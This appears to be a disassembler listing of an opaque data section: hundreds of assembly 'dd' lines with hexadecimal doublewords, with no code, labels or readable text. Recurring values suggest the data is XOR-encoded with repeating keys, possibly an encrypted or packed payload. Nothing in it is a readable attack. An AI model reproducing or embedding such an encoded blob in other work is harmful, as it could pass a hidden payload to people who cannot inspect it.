		dd 7E7420C1h, 1E91A55Ch, 1B26214Fh, 0FA93214Fh,	9464889Fh
		dd 3525D6C4h, 0B2EF56B3h, 0B4763B1Ch, 1F932178h, 3794918Bh
		dd 0DF90E302h, 8B348C2Ch, 0D5BFADFCh, 50F5A121h, 1F9326A8h
		dd 73BE3F4Fh, 9C74F8D1h, 181334B7h, 1F9193D3h, 2311344Fh
		dd 0FF93214Fh, 5DEEA3C5h, 50F1A121h, 1B4BD12Fh,	1F963FD7h
		dd 20EB894Fh, 0B2BB214Fh, 2AEF4191h, 0E2D71F65h, 0B9125212h
		dd 0B3BEFF97h, 0FCB67C1Ah, 1AA320C0h, 1F9197D3h, 6116014Fh
		dd 0FC760177h, 0FDFE6F07h, 1F40A25Bh, 2326214Fh, 2193214Fh
		dd 0A35ED5CCh, 0D674F319h, 0B21D016Ah, 0CD6EF340h, 1F96F2A9h
		dd 92649C4Fh, 0C21B9ADCh, 9B5D1541h, 432B5164h,	0A0FD182Bh
		dd 0A37C519Fh, 1F93214Fh, 1F9333A8h, 0C847E64Fh, 0F058C235h
		dd 0DBB97A1Ch, 9B60D50Eh, 0A37C91B7h, 1F93225Fh, 1F95A95Ah
		dd 573214Fh, 4A4A8CC1h,	208AA120h, 1C7BA55Ah, 9DCB214Fh
		dd 0A37C4E0Ah, 1F9321BFh, 1F44A25Ah, 5726214Fh,	6C932140h
		dd 0EFDA520Dh, 7486280Ah, 0B13CC71h, 81F73428h,	50932140h
		dd 205DA22Fh, 0B5EC157Ah, 1F932087h, 7CDB5744h,	0D8707524h
		dd 4BFE3391h, 3D13B23Dh, 0D6715651h, 1F408A6Ah,	0F5FD214Fh
		dd 0B9A87015h, 9FEC78ACh, 547FDE9h, 3F6F9E99h, 48F5A147h
		dd 7D1D0B2Fh, 9A7BDA3Dh, 1F932140h, 441D0B20h, 0A37C81C0h
		dd 1F9319DBh, 0A021B02Fh, 6FE8695h, 9DCE4307h, 57789B3h
		dd 0D7F0FDF6h, 9C74029Bh, 18D4A2B7h, 1F9613D3h,	1F928A4Fh
		dd 4605214Fh, 0FB6795BCh, 1F468A20h, 22E2214Fh,	0F1B50B71h
		dd 8E0140FFh, 2AEE5BBh,	48D2B621h, 3D0987CDh, 76103451h
		dd 0B4932153h, 1F932151h, 0F492D4B3h, 0F730C312h, 0F19554Dh
		dd 74AFFFBh, 0E6C61D2Dh, 0B5FE204Ch, 1F93215Dh,	0E758F67Fh
		dd 19787D0Eh, 1128BF22h, 52D09E3Fh, 525EA65Ah, 9F73214Fh
		dd 867561A9h, 0D7FED0DAh, 0E644B2F6h, 1F7F8A53h, 0C13D214Fh
		dd 814C87BCh, 6B81Bh, 1F9333A9h, 869A6B4Fh, 56EBA6BAh
		dd 8ED8EC2h, 335D5AA3h,	1F96EDB7h, 89E8504Fh, 0A54B0BF4h
		dd 7B8E5DD9h, 4D6E78FBh, 0AD1776EAh, 0FCAEFA8Fh, 1F932CA9h
		dd 0F448B24Fh, 72A9D0FAh, 8C4EA706h, 8D732C60h,	7255475Dh
		dd 0F92DA20h, 62FA3420h, 0B4932153h, 1F93215Dh,	0C5B4F7FCh
		dd 0EB435BE0h, 67A220D6h, 1F96F2BBh, 40E8E94Fh,	0EBCB431Ah
		dd 8C574F76h, 0C892B012h, 0A57C2A95h, 1F932140h, 1AAE0318h
		dd 1F9EBF3Dh, 88D2014Fh, 9793180h, 7E09B021h, 1A93407Dh
		dd 1F93223Eh, 4C03594Fh, 8C4EA706h, 0A27C2C60h,	1F932086h
		dd 1F9326A8h, 8153FD4Fh, 0B979ED3h, 52F83470h, 4B93214Fh
		dd 29FC3527h, 44932140h, 1F96EFA8h, 1F468A4Fh, 2FEF214Fh
		dd 722730F1h, 0A47A0E9Bh, 645B6C3Bh, 0FAE03476h, 645133A2h
		dd 8D107DEEh, 64513477h, 645134DFh, 93FC6476h, 36062CC1h
		dd 1B390D4Ah, 645133E4h, 0BC358D2Ch, 6451347Ah,	0C6BE3A65h
		dd 0EA82DF7Dh, 1CBB1C72h, 82C6FB1Ch, 2C834778h,	44513476h
		dd 645146DFh, 637D0D76h, 4E827325h, 0F0DE3A8h, 48D3D007h
		dd 5EAC9AF7h, 45A9C357h, 92377358h, 41477DF6h, 0E83A92ADh
		dd 64512CB5h, 645142DFh, 41F19576h, 0BABC5A1Bh,	4B2C3DACh
		dd 6DD047D0h, 44513476h, 1C936E81h, 0BC341BEAh,	6451347Ah
		dd 0A9BB336Fh, 5F353156h, 64512CFFh, 0F4D41676h, 73B51532h
		dd 0E1321382h, 4B0D9DD7h, 95D88DF7h, 8D07BB57h,	99B54776h
		dd 89513476h, 428C10E5h, 0DCC18EEh, 6D831496h, 65A99D7Ah
		dd 0F6843476h, 68B81502h, 0CC1D965Ah, 0E538ECFDh, 1F7DF977h
		dd 0A5CE3A7Bh, 9AD0468Ah, 44513476h, 0C932C547h, 45BB0CF8h
		dd 8F6A9D57h, 66E43671h, 0F4513476h, 7357E045h,	6402BF81h
		dd 0B2E43476h, 0D7513479h, 3C08B35Eh, 45CAD979h, 5ECB5945h
		dd 96513380h, 0DD3A7395h, 645133ADh, 9DB1B556h,	4BC25449h
		dd 0FABC8D2Dh, 64513840h, 645BC581h, 48943476h,	0B4E3562Dh
		dd 0BE513479h, 5292AAAFh, 0D131D42Bh, 0CA161B28h, 73BA5ADEh
		dd 13B5564Ah, 5DE46B82h, 0B513476h, 0BAD2B140h,	0E5FF9494h
		dd 0E83AA3DDh, 64513440h, 97D245EFh, 95513476h,	0FAE59BF6h
		dd 6451347Ah, 0A77D86A8h, 42B767B0h, 64513FDFh,	8D2C1676h
		dd 1942082h, 89D41C72h,	7AB54766h, 44513476h, 644EC581h
		dd 730C3476h, 0FABB1A28h, 645134E6h, 643CBD81h,	0E13A3476h
		dd 645133E4h, 65921556h, 25922DDFh, 64513477h, 19892D76h
		dd 68D047B9h, 44513476h, 0AD5ECB27h, 6B94BB56h,	61E46C56h
		dd 0F8513476h, 0A8845FA4h, 57FC00B9h, 42AE96B7h, 644EB4DFh
		dd 5E834776h, 5F513476h, 64513E02h, 62B54776h, 4A513476h
		dd 5C3A3FB9h, 0C5CC1E56h, 0D1D31E5Eh, 0B0B6149Eh, 60AEB6EAh
		dd 0D9D12FEBh, 99B947F6h, 44513476h, 0DD8E4F2Fh, 76C51E3Fh
		dd 6DBC1496h, 644C9D77h, 0B3A43476h, 26E590E3h,	1D44F252h
		dd 4F1F650Fh, 0A76278B2h, 64513A39h, 0B4E43476h, 0A8513479h
		dd 1BFB8A12h, 9011BECDh, 86635437h, 7285EBAAh, 0A5B54FE9h
		dd 644BB981h, 0F9313476h, 6451347Fh, 0F78B0D8Eh, 9DF5D8F7h
		dd 60BB1556h, 645143F6h, 64539D76h, 0CFD93476h,	3B3B9C2h
		dd 89537465h, 644F8CDFh, 0C4DB1476h, 88C15F69h,	9AB74756h
		dd 44513476h, 0D232C549h, 4BBB0391h, 3584F6F7h,	65F5B781h
		dd 0E2893476h, 0E539C430h, 64512D4Ah, 6400BF81h, 68E43476h
		dd 0A6513476h, 1FEA0A2Ah, 0E1324F0Ch, 358137F0h, 65ADB781h
		dd 0B5E43476h, 4F513479h, 0CA334471h, 1507B16Dh, 5C96A4D6h
		dd 8AD645B6h, 645453DFh, 0A5B66976h, 6BCF4672h,	44513476h
		dd 416A0DEEh, 644E14DFh, 97CF4776h, 95513476h, 0CE1BBA03h
		dd 72943E96h, 0F2CC1E56h, 7BBC64CAh, 645400DFh,	0EFB71B76h
		dd 99A065AAh, 39FA0CD1h, 0AE0A4255h, 675BEF57h,	6BCE47CDh
		dd 44513476h, 767B6E81h, 0CB508571h, 0C9313E97h, 4328709Fh
		dd 0FA836C56h, 68E31558h, 81513476h, 1F797431h,	0A4351166h
		dd 6447B781h, 0E43A3476h, 64513477h, 5C7CC1EEh,	6451472Dh
		dd 5DE31476h, 0DE513476h, 9678986h, 415866D5h, 0CE1CAA03h
		dd 0E4313E96h, 0EED4038Ch, 36E31BEBh, 0F9513476h, 6451347Fh
		dd 0EC090EE7h, 3F65EBF0h
		dd 64049E48h, 0E3113476h, 596C5F5h, 1844912Ch, 0E1320CC0h
		dd 8D100B25h, 0E039C957h, 64513382h, 6ADB1E56h,	0E132179Dh
		dd 4151BBE7h, 61B74756h, 0E4513476h, 0B5E4848Ch, 0B0513479h
		dd 0B045F521h, 86133241h, 0C79ADBF7h, 416089C4h, 0BFAF8571h
		dd 0E13A3E97h, 64513477h, 90341872h, 18E2B558h,	0A3D515DEh
		dd 645BB981h, 95893476h, 0E1320CCFh, 19C87824h,	5F6A1525h
		dd 6451432Dh, 64539D76h, 128E3476h, 0D15B5CAEh,	978AB165h
		dd 62B7B881h, 0F9313476h, 6451347Ah, 77E04217h,	42BD86D1h
		dd 1B321447h, 7E2415BCh, 0D9BEA47h, 0D885810Eh,	0BA2B14F0h
		dd 0D88DB7C4h, 6536596h, 0DA0EA83h, 8E03810Eh, 96CA48B7h
		dd 0E37C4C6Fh, 958C774Ch, 9652166Eh, 0DC406FAh,	0F116810Eh
		dd 0DD3EAB5h, 0B946810Eh, 3D87AAF5h, 9B69BF5Dh,	69B282EBh
		dd 978A056h, 8C44B50h, 0DCE891Ch, 0EAAB610Eh, 79B4C020h
		dd 8AAE302Fh, 6FB2569Fh, 0B87C61E6h, 0EDCE810Eh, 0AE8BC34Ch
		dd 0F3FA3F7Bh, 8D238355h, 8C4B18Bh, 0DCE3283h, 0A329610Eh
		dd 0F423F355h, 0EADB9056h, 0DCE81A7h, 0E8AB4B0Eh, 0C0A023E7h
		dd 11449464h, 8ACE810Eh, 0F98F51C4h, 0E4AD6240h, 653660Ah
		dd 0D9BEA82h, 7F22810Eh, 0DC59CCBh, 0F06C4E45h,	83A5B1B5h
		dd 0A7B8240h, 4BCE810Eh, 5D17936Eh, 0A1EB133h, 0E562C950h
		dd 4A437D2Eh, 544563Bh,	0DA1EA2Fh, 457B810Eh, 4FCE810Eh
		dd 520D950Eh, 949C5379h, 0B281ADFEh, 980E0E97h,	0DCE810Eh
		dd 0EA5FFDEAh, 62749FC5h, 0C84FC5C7h, 63CD1B58h, 93057E9h
		dd 0DCE857Ah, 1150940Eh, 8CE810Eh, 0DCE797Bh, 90A6600Eh
		dd 0DCE810Fh, 0EDEB7B97h, 98BEB8Eh, 1C23C151h, 0DCE93A7h
		dd 9C396B0Eh, 0E6AF7641h, 5819C3Eh, 0EAE5A307h,	0EA4C8055h
		dd 0EACB60BDh, 0DA2EB29h, 0C28C810Eh, 0ECAC3505h, 32DBE218h
		dd 32CE815Ch, 0A2AB5A33h, 0DCE80F0h, 304DFD00h,	0F3A18C9h
		dd 6C0983Bh, 0D4061C1Bh, 0F4237C92h, 0C5239155h, 0B953599Ah
		dd 0F3FD9D1Dh, 7119B88Fh, 8EA6612Fh, 0DCE810Ch,	0DCE8EA7h
		dd 841D330Eh, 0FE7FD397h, 4ADA78ADh, 8AE81F3h, 6623DC51h
		dd 0DCE810Fh, 0F47C0244h, 8CEA0F5h, 0DCE8178h, 0D26940Eh
		dd 0EDCE810Eh, 78AD612Fh, 0C4B09461h, 0D42A62C0h, 8D1B7A06h
		dd 10EABF59h, 0DCE8AA7h, 799990Eh, 0D24A2D2Eh, 0EE232B0Eh
		dd 0DCDEA2Eh, 9D15810Eh, 0A0BD4E21h, 80596AD2h,	98446331h
		dd 229D5E2h, 4D0ECA2Fh,	8DAE8102h, 6D43C291h, 15E1AAF2h
		dd 8CA6162Fh, 0DCE8100h, 5D5A6B2Eh, 672A620Dh, 0DC40CFAh
		dd 0EB16810Eh, 1ACC988Fh, 8D245FADh, 0EB16B1C2h, 0D28942Eh
		dd 0C4CE810Eh, 0E8362C6h, 87CE810Eh, 0A20BEF8Fh, 85A58BEFh
		dd 0DCE8101h, 0DC405F9h, 0A37F810Eh, 0DCE80FAh,	34EA2D0Eh
		dd 7F1900C8h, 172A744Ch, 97EBB4Eh, 0DCE8C8Eh, 9594610Eh
		dd 200E1020h, 0B1346C1h, 0EDCE810Eh, 0DCB52A7h,	9C6960Eh
		dd 0FC9DE904h, 7D4AACC0h, 97C03BA6h, 8EA51EFAh,	0DCE80D4h
		dd 0DCE86A7h, 0ACDF230Eh, 51249EA1h, 0DCE7D43h,	0F7B810Eh
		dd 6ACE810Eh, 0ABD154D0h, 0F112C0EDh, 77CA355h,	55CE810Eh
		dd 4D4206F2h, 0C2393524h, 6B056884h, 0DA5EA2Fh,	2F1E810Eh
		dd 0E0A0ACA1h, 0FB5D71A1h, 984EBEBDh, 0F4F944Fh, 0F3CE810Eh
		dd 205044C9h, 7A9407C1h, 0DC38BEEh, 0F7B810Eh, 57CE810Eh
		dd 4162604Fh, 3244660Ah, 8EA6097Eh, 0DCE810Ch, 0D9F09F9h
		dd 93A5810Eh, 0DCE8100h, 0DCB0FF9h, 324E810Eh, 1A2A94A6h
		dd 32CE8102h, 0AB5A614Eh, 0A2A9C62Ah, 0DCE8101h, 0DB74C400h
		dd 0A323F77Eh, 0DCE810Dh, 0D944B324h, 0A6236C1h, 2E8D67ECh
		dd 0FE8AB3C5h, 324B9C06h, 562A94A7h, 0A2CE8105h, 0DCE80FAh
		dd 0D41A4A09h, 0B64CD693h, 27C00B57h, 0CE8D8994h, 0DCE89A7h
		dd 1D95400Eh, 27F8ACE6h, 3830804Bh, 3DA70DF2h, 0A21900E3h
		dd 0D8204FAh, 0CB0B810Eh, 0DA309F9h, 8AE810Eh, 0DCE7983h
		dd 6E4B620Eh, 8AB07C9Eh, 64E94A5h, 0DD1CE82h, 0DA9EA0Eh
		dd 5019810Eh, 71D13136h, 82D30952h, 144488C1h, 39CE9FFDh
		dd 67C4397h, 9CE810Eh, 6AF1FFC5h, 0EA732BE4h, 0A84BF20h
		dd 0EB761020h, 924808Eh, 0DD10082h, 0EAAEB90Eh,	931808Eh
		dd 0DD26482h, 8BA6610Eh, 0DCE809Ch, 152A5751h, 32446B2Fh
		dd 91A5E821h, 0DCE8936h, 0DD3E92Eh, 0DA7C810Eh,	198129F6h
		dd 324EEC85h, 37DD01C1h, 1BEAC4FCh, 3E31012Fh, 0BB19040Ah
		dd 0D6204F9h, 0F116810Eh, 39ABA355h, 4C96E78Fh,	9243DF2h
		dd 0DCE9355h, 0D9BEA0Eh, 0B0E810Eh, 86191C5Ch, 8E539651h
		dd 627BB1BDh, 0FACE8101h, 0BF6D19A4h, 19EC58DAh, 1528BC78h
		dd 4DBB72DEh, 0A34A9EC8h, 0DCE8107h, 0EF9D1113h, 7F0C1993h
		dd 656808Eh, 0DC47082h,	0C4AD610Eh, 80556BA8h, 0F94B6284h
		dd 882A9403h, 0EDCE810Fh, 0DCE8BA6h, 75169F0Eh,	8A6D85BAh
		dd 8AF99CCDh, 456748AEh, 0F94B619Dh, 0E82A93DBh, 3ECE810Fh
		dd 903438Eh, 0DC3B482h,	0AE55610Eh, 0EA9FABD6h,	8D15B64Eh
		dd 10EAF63Fh, 0DC40EF9h, 0F47F810Eh, 0A2ABA355h, 0DCE80FAh
		dd 4D39C2C7h, 8DC44AFCh, 31E4C97Ah, 0EB8954F7h,	9812EC8Eh
		dd 0DCE8104h, 8BB7E97Ah, 32446B40h, 91A5E18Fh, 0DCE79A6h
		dd 592A6593h, 0D9F05F8h, 7BAE810Eh, 449C173Bh, 1C7C5464h
		dd 6E4B6212h, 7080639Eh, 8AAD624Fh, 60E02A5h, 0DCAC482h
		dd 751940Eh, 0A2CE810Eh, 0DCE8102h, 0DF62BDF1h,	976329Dh
		dd 0DCE8C81h, 404F940Eh, 35CE810Eh, 0DA7EA2Eh, 0EEA1810Eh
		dd 7A7CCFF4h, 51069D96h, 1F62E3FAh, 0D17C012Eh,	98446C30h
		dd 0EAF96BC7h, 0AC5A6B2Eh, 62596C31h, 0DD1661EEh, 10EABFBCh
		dd 117C650Ah, 38CE810Eh, 59D8D9BCh, 8ADFBF6h, 0DCE8B82h
		dd 0B4F940Eh, 0F3CE810Eh, 0EB31A856h, 980F4687h, 0DCE80F8h
		dd 0E2B6A72Ch, 0C4B9D816h, 88A66896h, 0DCE810Fh, 0DCDF096h
		dd 170C810Eh, 0CA0BE02Fh, 3A980855h, 1F4F940Fh,	0EDCE8103h
		dd 0D9AEA2Eh, 431B810Eh, 0B3CE5B80h, 4038F751h,	95256A82h
		dd 8AAFFF7Bh, 20198691h, 200C612Fh, 6193BF55h, 1B128C04h
		dd 10510E93h, 32CE99CAh, 3F3B3CD7h, 0D3449536h,	0A2CE8103h
		dd 0DCE80FBh, 0CF844F9Bh, 4488010Dh, 0D790C5B7h, 2A87BF55h
		dd 1B0B8C04h, 0BFE9102Eh, 9926EACFh, 8D2A621Bh,	10EAF63Fh
		dd 0DCE90A7h, 0E2BFF80Eh, 90E0E470h, 98D90036h,	0EE3B3D48h
		dd 0DCE81A7h, 58E14C0Eh, 7010E7CEh, 0B1E7F9AEh,	88A6192Fh
		dd 0DCE7D5Dh, 717D012Eh, 0EB6BBBF9h, 6896BF55h,	75AE8BEFh
		dd 1177C6B8h, 0DD3E23Fh, 0D2DF810Eh, 1C672386h,	351FA7CFh
		dd 0E17E2B50h, 196CDEF6h, 8D526328h, 10EABF12h,	0E36E9F2h
		dd 0A0F5810Eh, 0C3AD4E71h, 0E08BD00Dh, 3EF819FDh, 0ADDBB28h
		dd 0FE1BB46Dh, 5B7C122Eh, 0C5CE8101h, 5C63A104h, 57CC1E08h
		dd 0C58CF5A5h, 380EFE03h, 114F9537h, 8CE810Eh, 0DCE797Bh
		dd 0CE1C620Eh, 0DA1E9FEh, 0F8C5810Eh, 0C04ED5ADh, 0E7F1D626h
		dd 93C40D8Bh, 2151DB3Bh, 0B7AB5144h, 852A6591h,	1051102Fh
		dd 0EDCE99CAh, 768FB88Fh, 0C5241794h, 387BB0EAh, 0C9CE810Eh
		dd 5B80782Ah, 0BCB4736Ch, 387C123Fh, 75CE810Eh,	0EAD9CD50h
		dd 7C235496h, 5F60A1Dh,	0DCE0FF9h, 86A5810Eh, 0DCE810Fh
		dd 0D2FF096h, 5B7B810Eh, 3ECE8101h, 69CACF82h, 0DC619E5Ah
		dd 7BEC19F1h, 2DD43445h
		dd 0D1346C0h, 0EDCE810Eh, 0D57C6897h, 32CE810Eh, 401346C1h
		dd 0A2CE810Eh, 0DCE80F9h, 0A809186Eh, 9E38D8D3h, 99B9649Bh
		dd 752A506Eh, 10EABF13h, 8BA6612Eh, 0DCE810Eh, 0EB75C3F9h
		dd 0BF51082Fh, 61CE9964h, 0A33E09ADh, 0DCE809Ch, 0D4D3AE68h
		dd 0F1D58EEDh, 0CC70398Fh, 5E8E0ACAh, 0A229421h, 8DCE810Eh
		dd 964E0192h, 3352619Ch, 0D24F939Dh, 0EDCE810Eh, 7980C3F9h
		dd 1AAB178Eh, 1050CC2Fh, 3FCE99CAh, 39CE810Eh, 0DCB52A7h
		dd 33517A0Eh, 3727939Ch, 8CE810Fh, 0DCE828Eh, 0BC517D0Eh
		dd 91A58396h, 0DCE7978h, 0C1E9102Eh, 83AB62BFh,	738AC2DBh
		dd 922FEDDh, 0EDC44B50h, 612E0220h, 0E323B6B8h,	0DCE798Eh
		dd 0DD605F9h, 0EDAE810Eh, 0DCE8CA6h, 31CD450Eh,	48AC17C3h
		dd 0EAF51829h, 3F8E7D2Fh, 0EDCFE91Dh, 0AAAF5A57h, 0B0536B44h
		dd 657C62CCh, 0A2CE8101h, 0DCE80F0h, 7DF0A11Bh,	0FC6D9393h
		dd 1784858Ah, 47B2F5EEh, 0B15AE79h, 8A0B810Eh, 117B86A6h
		dd 1ECE810Eh, 0ED71DADBh, 197BEECFh, 0A2CE810Eh, 0DCE80D5h
		dd 991EB4D6h, 0ADA94EDBh, 0EE6138F4h, 962A6B2Eh, 67AD6894h
		dd 92330CCh, 0DCE8554h,	1129940Eh, 8CE810Eh, 0DCE7979h
		dd 1AB9100Eh, 3ECE99CAh, 9417D55h, 0DCB9A81h, 77C610Eh
		dd 9CCE810Eh, 0E26E98FEh, 854EC8E3h, 0F6EAA946h, 535FEF57h
		dd 8FA6221h, 0DCE827Ah,	9BBB60Eh, 64E810Eh, 0DCB6683h
		dd 147C610Eh, 9ACE810Eh, 0F1834F25h, 0EB5AF66Ch, 612CA9Dh
		dd 0DCE818Eh, 0D43940Eh, 0EDCE810Eh, 140B082Fh,	10448693h
		dd 8CE99CAh, 0DCE901Ch,	0DCCEA0Eh, 517F810Eh, 0E6B6D14Ch
		dd 0DA4EA46h, 25D7810Eh, 73A36AA3h, 0DC928547h,	288A4877h
		dd 39A34C87h, 0A8E1096h, 48567A2Eh, 0EAD0EC3Ch,	0DC3DFA7h
		dd 967DB90Eh, 0C4F65C2Fh, 544A6895h, 0E3A00F9h,	97B810Eh
		dd 74CE810Eh, 6D9707ABh, 48374AB1h, 0EDD9FF1Dh,	967D013Bh
		dd 0DCE8598h, 884280Eh,	0C74CAF16h, 94DA9815h, 140B07EBh
		dd 0DC405F9h, 0A12810Eh, 2B4F121Ch, 9667D00h, 0DCE8554h
		dd 1151940Eh, 8CE810Eh,	0DCE7987h, 68E0A0Eh, 0DCE90A7h
		dd 7585F00Eh, 9BF800FEh, 0C68D8ABDh, 359F4C87h,	1FDE102Eh
		dd 0DC463A7h, 5B25940Eh, 0A2CE8101h, 0DCE80D6h,	4734FEC1h
		dd 0EFD40280h, 0A2A346D7h, 0DCE8102h, 419A6BCh,	0FCEFE8F6h
		dd 78AE7ACEh, 0E07D13Fh, 0FA41BA20h, 0B8D0F2Fh,	64E2C0Ah
		dd 0DCE0283h, 434F940Eh, 8CE810Eh, 0DCE8783h, 0D24610Eh
		dd 4B51B5C0h, 0DCFE99Ch, 3138810Eh, 74EBDAECh, 0DCE810Fh
		dd 0DC304F9h, 3312810Eh, 91A5DFD5h, 0DCE80E6h, 0AB90997h
		dd 8CB5AA7h, 0DCE8C82h,	4051940Eh, 32CE810Eh, 8C3E88Eh
		dd 0DCE9055h, 0DCCEA0Eh, 5C32810Eh, 0BDD70274h,	0C37FC79Dh
		dd 0B80B8941h, 8DAE8D41h, 6D438ABEh, 0F1A5C4BCh, 9C7EA2Fh
		dd 0EE7F810Eh, 6A1AE98Fh, 80A69F5Fh, 967E62A8h,	0DCB4D98h
		dd 0E86F950Eh, 11D728Dh, 0A02252B3h, 4732B35Bh,	0D5B9A853h
		dd 0B16A617h, 6212810Eh, 75194C3h, 0A2CE810Eh, 0DCE8102h
		dd 191C3A15h, 3E10FC23h, 404394B6h, 39CE810Eh, 0E370CF9h
		dd 97B810Eh, 0E2CE810Eh, 0BD872BABh, 6CE1FA7Bh,	0E68E6A6Ah
		dd 4B5129F5h, 1483609Ch, 0EACE810Eh, 0BF8551F0h, 6A96C46Bh
		dd 8F8FF49h, 0C3238051h, 65AE8941h, 0DCE809Ch, 0A82BEAB1h
		dd 0CC8D5A5Ch, 134E0F3Ch, 9BBD9412h, 775A6B45h,	0B80C6222h
		dd 67B8D41h, 3CE810Eh, 0C52D738h, 368F8D59h, 0DA812F9h
		dd 0F3AE810Eh, 0C4D9988Fh, 0DCE00F9h, 0EB23810Eh, 0C4AAD097h
		dd 0BE98BFBEh, 4D233175h, 0DA90CF9h, 0F7B810Eh,	83CE810Eh
		dd 8E46498Ah, 40509533h, 35CE810Eh, 86A5E555h, 0DCE80EBh
		dd 0D9E09F9h, 507B810Eh, 85CE8101h, 0AFDF5B6Bh,	0E865DB2Fh
		dd 0B5816BCFh, 0EDAB7EC9h, 36E70816h, 6E446B2Eh, 8EA67225h
		dd 0DCE810Fh, 8AB6893h,	0DCE8254h, 0E867D0Eh, 87CE810Eh
		dd 3F5FEF8Fh, 0C7B8BEEh, 0CECE810Eh, 0F94DD0E5h, 42D492D9h
		dd 4D9F5EF1h, 0E269446h, 8CE810Eh, 0DCE8282h, 75297D0Eh
		dd 10EABEDEh, 0DCE93A7h, 0ABB120Eh, 69019E94h, 42ABED77h
		dd 0FCC1245Ah, 0F651B5C7h, 242A940Eh, 0A2CE8103h, 0DCE80F0h
		dd 0AC35C938h, 787E9CAh, 720F68Ch, 411EA67Fh, 0C4AD59CCh
		dd 0D91301A4h, 0EB39005Ah, 90A58C55h, 0DCE810Fh, 9FF830Ah
		dd 0E36F10Ah, 0DF1B810Eh, 0D62CABF2h, 0AC7E2C58h, 0CC44A079h
		dd 515642F1h, 0C4160655h, 0EE5E7A06h, 6623876Dh, 0DCE8A80h
		dd 0DCE90A7h, 86FD340Eh, 0B12CD433h, 0EDCD4156h, 8EA5C0D5h
		dd 0DCE813Bh, 0E2C0EF9h, 65AE810Eh, 0DCE80F9h, 7B095941h
		dd 1EADB76h, 0DF3C9730h, 0F3EB199Bh, 0C523DB55h, 0DCDEA01h
		dd 7369810Eh, 0ECE27A65h, 0DA1EB3Eh, 6184810Eh,	0A26590DAh
		dd 458D3CE4h, 644457D2h, 0D6EA234Eh, 0E39EA8Ch,	35AE810Eh
		dd 5F0E082Fh, 0D9C0FF8h, 0EDAE810Eh, 9D4FF92Fh,	0A322FA0Ah
		dd 361583E1h, 3A90110Ah, 0DCE85A7h, 78E39C0Eh, 24454AD7h
		dd 13816CE9h, 0E36EA0Eh, 16BF810Eh, 0EB01F87h, 2B8A2734h
		dd 54401127h, 457BAA4Fh, 0C416A2DFh, 0C4157CFAh, 0DA1EA06h
		dd 140D810Eh, 70C8991Fh, 0D99098F7h, 3B54A21Bh,	529F4A88h
		dd 93D83DFh, 0DCE8C54h,	852A610Eh, 0EB04E68Eh, 0DA61DA6h
		dd 0DA9EA0Eh, 0BE2F810Eh, 14656834h, 0A80AE868h, 60E8FD7h
		dd 0DCEB482h, 0DA0EA0Eh, 0C51B810Eh, 8AB79D8Ah,	720997FEh
		dd 0DAA389AAh, 94EC24DFh, 0DD1F4A7h, 0C1B940Eh,	0A2CE810Eh
		dd 0DCE8107h, 575B3FAAh, 0F764A22Ah, 980F4655h,	0DCE80F9h
		dd 0FF7E69C6h, 0A3CDCB8Dh, 0AD35164h, 10CBEC1Ch, 0A5506F9h
		dd 1CAE810Eh, 0DA7EA45h, 9C4F810Eh, 0BB3EF5B5h,	0D7E338CFh
		dd 0EB6E1EC4h, 0DCE85A7h, 28C1810Eh, 29AE679Ah,	3D45209Fh
		dd 3A8F8403h, 12960696h, 0CD2A940Eh, 8CE810Eh, 0DCB5178h
		dd 0DA1EA0Eh, 649810Eh,	0DC937386h, 78844ACBh, 97F9E045h
		dd 24D170A0h, 40299453h, 39CE810Eh, 0DA2041Dh, 0DA104F9h
		dd 0A37F810Eh, 0DCE8113h, 0DCE0CF9h, 8AE810Eh, 8329B251h
		dd 3615F92Fh, 0C7B8309h, 42CE810Eh, 3B2FE26Ah, 0A5CCB974h
		dd 3E755905h, 0DCFBA58h, 8BA5810Eh, 0DCE810Ch, 832A6B2Eh
		dd 0DCE81A7h, 2FE01C0Eh, 3D6559A4h, 0E5826224h,	980E102Eh
		dd 0DCE80FAh, 0B9E37705h, 0E8066088h, 91A4CA2Fh, 0EAA3BF93h
		dd 36181EA7h, 0C229309h, 0A2CE810Eh, 0DCE8107h,	0E1BF654Ah
		dd 0DE995A9Fh, 0E9E041Dh, 0B4F04F9h, 8A16810Eh,	8D08989h
		dd 0DCE2A83h, 431B940Eh, 8CE810Eh, 0DCE8780h, 0CB24610Eh
		dd 1451942Eh, 0F3CE810Eh, 3CDCCF8Fh, 0DA0EA2Fh,	4B9D810Eh
		dd 4A6EC33Eh, 75B8A196h, 5D1EDF48h, 0F8FD018h, 3EA74C55h
		dd 0DCE93A7h, 0A848F90Eh, 0FD2D1193h, 0D1FDA1h,	0C585F2B5h
		dd 5B7B8629h, 1FCE8101h, 0FB29573Eh, 502B92C8h,	0A3AD7F97h
		dd 1BD4DC4h, 0DC3EEA7h,	725940Eh, 8CE810Eh, 0DCE8B7Ah
		dd 0B25940Eh, 0C4CE810Eh, 0C2168541h, 89A58629h, 0DCE80F0h
		dd 0B27942Eh, 65CE810Eh, 0DCE8107h, 9E9E37A4h, 0A428AF83h
		dd 7E7C6337h, 8CE810Fh,	0DCE8281h, 0CE29B60Eh, 0DA4EA02h
		dd 0CD4A810Eh, 5F22E302h, 6B800854h, 10A1780Bh,	399F6455h
		dd 8A363E5h, 0DCE8D83h,	0DA7EA0Eh, 604810Eh, 3963D928h
		dd 9D555865h, 1D25901Ah
		dd 0C2A6182Eh, 0DCE810Eh, 0A59C921Dh, 22A98B62h, 31C78476h
		dd 0A015E47Ah, 988C0DC0h, 9E8FB3F3h, 2953F6FEh,	62E2D51Bh
		dd 2310E182h, 3EC78466h, 5615E47Ah, 0C1403D1Ah,	45C8DE04h
		dd 2E012631h, 3215F493h, 4EEFF87Ah, 159734B9h, 93E7A2C1h
		dd 2AA98B30h, 3214136Eh, 643DE47Ah, 0D02CB913h,	21360521h
		dd 7D536B14h, 3AC77BABh, 0F915E47Ah, 0B003192Bh, 1F4E98C3h
		dd 43131509h, 0DCC6DF30h, 1215E47Ah, 3214716Dh,	728EE47Ah
		dd 538F63B5h, 321E6B6Ch, 3EC6E47Ah, 7F15E47Ah, 106725D3h
		dd 6320EC2Eh, 1F2A4DC0h, 3216B793h, 0D117577Ah,	0E99FD0DEh
		dd 4FE2ABACh, 7EC965B9h, 255CAE5Dh, 36D57515h, 3215F993h
		dd 5A5CDF7Ah, 0C7E501C2h, 6719C57Eh, 0C5D58738h, 0B62CEF1Dh
		dd 3215E475h, 320E6C6Dh, 65C2E47Ah, 3935E71Ch, 6DCE39BDh
		dd 2D15E475h, 7D6F69D2h, 0AFDC348Bh, 0F00E141Ch, 0B6F08F8Dh
		dd 812CD664h, 0BDAF82B2h, 3EC6EF61h, 0DE15E47Ah, 71772EAFh
